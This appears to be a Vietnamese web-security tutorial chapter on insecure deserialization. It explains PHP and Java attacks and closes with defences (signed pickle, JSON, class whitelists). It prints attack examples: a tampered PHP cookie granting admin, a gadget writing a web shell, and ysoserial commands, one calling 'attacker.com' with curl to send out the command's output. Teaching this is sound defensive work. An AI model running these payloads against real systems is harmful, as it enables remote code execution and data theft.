Skip to main content

Chương 26: Insecure Deserialization

Khái niệm

Insecure Deserialization (Deserialization không an toàn) xảy ra khi ứng dụng deserialize dữ liệu từ user input mà không validate, cho phép hacker inject arbitrary objects dẫn đến RCE.

Mức độ nguy hiểm: Rất cao — RCE, privilege escalation.


Serialization là gì?

Serialization: Object → Bytes (để lưu/truyền)
Deserialization: Bytes → Object (tái tạo)

Ứng dụng serialize objects để:
- Lưu session
- Truyền qua network
- Cache data

Ngôn ngữ-Specific

PHP

// Serialize
$obj = new User(1, 'admin');
$serialized = serialize($obj);
// O:4:"User":2:{s:2:"id";i:1;s:4:"name";s:5:"admin";}

// Vulnerable deserialization
$data = unserialize($_COOKIE['user_data']); // Không validate!

// Attack: Modify cookie thành:
// O:4:"User":2:{s:2:"id";i:1;s:4:"name";s:5:"admin";s:8:"is_admin";b:1;}
// → Object với is_admin = true

PHP Magic Methods:

__wakeup() # Gọi sau deserialization
__destruct() # Gọi khi object bị garbage collected
__toString() # Gọi khi object dùng như string

// Gadget chain: chuỗi method calls exploit sẵn có trong code
class Logger {
public $logFile;

public function __destruct() {
file_put_contents($this->logFile, 'log entry');
// Hacker set $logFile = "/var/www/shell.php"
// Và inject PHP code vào 'log entry'
}
}

Java

// Vulnerable
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject(); // ← Deserialize từ request body

// Gadget chains: ysoserial
// java -jar ysoserial.jar CommonsCollections6 "touch /tmp/pwned" | nc target 80
# ysoserial: tool tạo Java deserialization gadget chains
java -jar ysoserial.jar CommonsCollections6 "curl https://attacker.com/$(whoami)"
# → Serialize payload RCE

Phòng chống

# Python: Không dùng pickle từ untrusted input
import pickle
import hmac
import hashlib

SECRET_KEY = b'super-secret'

def serialize(obj):
data = pickle.dumps(obj)
sig = hmac.new(SECRET_KEY, data, hashlib.sha256).hexdigest()
return sig + ':' + data.hex()

def deserialize(signed_data):
sig, hex_data = signed_data.split(':', 1)
data = bytes.fromhex(hex_data)

# Verify signature trước khi deserialize
expected_sig = hmac.new(SECRET_KEY, data, hashlib.sha256).hexdigest()
if not hmac.compare_digest(sig, expected_sig):
raise ValueError("Signature mismatch")

return pickle.loads(data) # Safe vì đã verify signature

# Hoặc: Dùng JSON thay vì binary serialization
import json
serialized = json.dumps({'user_id': 1, 'role': 'user'})
obj = json.loads(serialized)
// Java: Whitelist allowed classes
import java.io.*;
import java.util.Arrays;
import java.util.List;

class SafeObjectInputStream extends ObjectInputStream {
private static final List<String> ALLOWED_CLASSES = Arrays.asList(
"com.example.app.SafeClass",
"java.lang.String",
"java.util.ArrayList"
);

@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
if (!ALLOWED_CLASSES.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized deserialization", desc.getName());
}
return super.resolveClass(desc);
}
}

Tóm tắt

  • Insecure deserialization: deserialize untrusted data → attacker inject malicious objects.
  • PHP: magic methods (__wakeup, __destruct) trong gadget chains.
  • Java: ysoserial tool tạo gadget chain payloads.
  • Phòng chống: sign serialized data, whitelist allowed classes, prefer JSON.